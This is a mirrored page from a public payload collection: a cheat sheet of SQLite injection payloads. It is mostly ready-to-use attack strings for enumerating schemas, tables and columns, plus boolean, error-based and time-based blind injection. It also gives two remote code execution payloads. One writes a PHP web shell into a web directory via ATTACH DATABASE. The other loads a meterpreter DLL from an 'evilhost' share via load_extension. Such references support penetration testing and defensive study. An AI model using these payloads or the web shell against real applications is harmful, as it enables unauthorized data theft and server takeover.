mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-22 12:26:17 +00:00
108 lines
3.3 KiB
Markdown
108 lines
3.3 KiB
Markdown
# SQLite Injection
|
|
|
|
## Summary
|
|
|
|
* [SQLite comments](#sqlite-comments)
|
|
* [SQLite version](#sqlite-version)
|
|
* [String based - Extract database structure](#string-based---extract-database-structure)
|
|
* [Integer/String based - Extract table name](#integerstring-based---extract-table-name)
|
|
* [Integer/String based - Extract column name](#integerstring-based---extract-column-name)
|
|
* [Boolean - Count number of tables](#boolean---count-number-of-tables)
|
|
* [Boolean - Enumerating table name](#boolean---enumerating-table-name)
|
|
* [Boolean - Extract info](#boolean---extract-info)
|
|
* [Boolean - Error based](#boolean---error-based)
|
|
* [Time based](#time-based)
|
|
* [Remote Command Execution using SQLite command - Attach Database](#remote-command-execution-using-sqlite-command---attach-database)
|
|
* [Remote Command Execution using SQLite command - Load_extension](#remote-command-execution-using-sqlite-command---load_extension)
|
|
* [References](#references)
|
|
## SQLite comments
|
|
|
|
```sql
|
|
--
|
|
/**/
|
|
```
|
|
|
|
## SQLite version
|
|
|
|
```sql
|
|
select sqlite_version();
|
|
```
|
|
|
|
## String based - Extract database structure
|
|
|
|
```sql
|
|
SELECT sql FROM sqlite_schema
|
|
```
|
|
|
|
## Integer/String based - Extract table name
|
|
|
|
```sql
|
|
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
|
|
```
|
|
|
|
Use limit X+1 offset X, to extract all tables.
|
|
|
|
## Integer/String based - Extract column name
|
|
|
|
```sql
|
|
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'
|
|
```
|
|
|
|
For a clean output
|
|
|
|
```sql
|
|
SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
|
|
```
|
|
|
|
## Boolean - Count number of tables
|
|
|
|
```sql
|
|
and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table
|
|
```
|
|
|
|
## Boolean - Enumerating table name
|
|
|
|
```sql
|
|
and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number
|
|
```
|
|
|
|
## Boolean - Extract info
|
|
|
|
```sql
|
|
and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')
|
|
```
|
|
|
|
## Boolean - Error based
|
|
|
|
```sql
|
|
AND CASE WHEN [BOOLEAN_QUERY] THEN 1 ELSE load_extension(1) END
|
|
```
|
|
|
|
## Time based
|
|
|
|
```sql
|
|
AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
|
```
|
|
|
|
|
|
## Remote Command Execution using SQLite command - Attach Database
|
|
|
|
```sql
|
|
ATTACH DATABASE '/var/www/lol.php' AS lol;
|
|
CREATE TABLE lol.pwn (dataz text);
|
|
INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--
|
|
```
|
|
|
|
## Remote Command Execution using SQLite command - Load_extension
|
|
|
|
```sql
|
|
UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
|
|
```
|
|
|
|
Note: By default this component is disabled
|
|
|
|
## References
|
|
|
|
[Injecting SQLite database based application - Manish Kishan Tanwar](https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf)
|
|
[SQLite Error Based Injection for Enumeration](https://rioasmara.com/2021/02/06/sqlite-error-based-injection-for-enumeration/)
|